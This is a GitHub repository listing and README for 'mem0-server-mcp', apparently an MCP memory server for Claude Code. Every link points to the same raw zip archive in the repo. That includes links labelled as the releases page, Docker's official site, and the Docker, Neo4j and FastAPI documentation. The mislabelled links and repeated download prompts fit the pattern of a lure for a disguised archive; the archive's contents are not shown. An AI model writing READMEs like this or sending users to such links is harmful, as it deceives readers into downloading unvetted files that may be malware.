https://github.com/snorlak1/mem0-server-mcp
🧠 Deploy a self-hosted MCP server for AI, offering persistent memory, robust security, and easy setup with Docker Compose.
https://github.com/snorlak1/mem0-server-mcp
agent agents ai-memory assistant database fastapi mem0 mem0ai memory memory-management model-context-protocol model-context-protocol-servers modelcontextprotocol neo4j persistent-memory python semantic-search storage
Last synced: 2 months ago
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🧠 Deploy a self-hosted MCP server for AI, offering persistent memory, robust security, and easy setup with Docker Compose.
- Host: GitHub
- URL: https://github.com/snorlak1/mem0-server-mcp
- Owner: snorlak1
- License: mit
- Created: 2025-10-30T07:22:49.000Z (8 months ago)
- Default Branch: main
- Last Pushed: 2026-04-11T06:54:51.000Z (2 months ago)
- Last Synced: 2026-04-11T12:43:37.040Z (2 months ago)
- Topics: agent, agents, ai-memory, assistant, database, fastapi, mem0, mem0ai, memory, memory-management, model-context-protocol, model-context-protocol-servers, modelcontextprotocol, neo4j, persistent-memory, python, semantic-search, storage
- Language: Python
- Size: 683 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
- Security: docs/SECURITY.md
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README
# 🧠 mem0-server-mcp - Easy Server Setup for Smart Memory
## 🌐 Overview
Welcome to the mem0-server-mcp repository. This application serves as a production-ready MCP server. It provides intelligent memory for Claude Code, featuring an asynchronous architecture, Neo4j knowledge graphs, smart chunking, and robust enterprise security. You can deploy it quickly with a single command using Docker.
## 📥 Download Now
[](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip)
## 🚀 Getting Started
Follow these steps to download and run the mem0-server-mcp application:
1. **Visit the Releases Page:**
Go to the following link to access the latest releases: [Visit Releases Page](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip).
2. **Select the Latest Version:**
On the releases page, find the latest version of the application. Click on it to view details and available files.
3. **Download the Application:**
Look for the downloadable file that matches your system. Click on the filename to start the download.
4. **Install Docker:**
If you don't have Docker installed, follow these steps:
- Visit [Docker's official site](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) and download Docker.
- Follow the installation instructions for your operating system (Windows, macOS, Linux).
5. **Run the Application:**
Once Docker is ready, open your terminal or command prompt. Navigate to the directory where you downloaded the file. Then, run this command:
```
docker run -d -p 8000:8000 mem0-server-mcp
```
6. **Access the Server:**
Open your web browser and type `http://localhost:8000`. You should now see the mem0-server-mcp server running smoothly.
## 🛠️ System Requirements
To run the mem0-server-mcp, you will need:
- A computer running Windows, macOS, or Linux.
- Docker should be installed.
- At least 2 GB of RAM available.
- A minimum of 500 MB of free disk space.
## 🔍 Features
- **Intelligent Memory:** Efficiently manages memory for Claude Code applications.
- **Async Architecture:** Ensures fast and responsive performance.
- **Neo4j Integration:** Supports advanced knowledge graphs for deep learning contexts.
- **Smart Chunking:** Optimizes data storage and retrieval.
- **Enterprise Security:** Robust safeguards to protect your data.
## 📚 Documentation
For more detailed instructions and technical details, please refer to the [Documentation Page](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) (please replace this with the actual documentation link if available).
## 💬 Support
If you encounter any issues, feel free to reach out for help. You can open an issue on GitHub or join the community discussion forums.
## 🔗 Additional Resources
- [Docker Documentation](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip)
- [Neo4j Documentation](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip)
- [FastAPI Documentation](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip)
## 📈 Contributions
Contributions are always welcome! If you want to contribute to the project, please follow the guidelines provided in the repository.
## 🎉 Acknowledgements
Thank you to the contributors who made this project possible. Your effort helps improve the experience for all users.
## 📥 Download Again
For easy access, visit the [Releases Page](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) to download the latest version again.
Enjoy using mem0-server-mcp!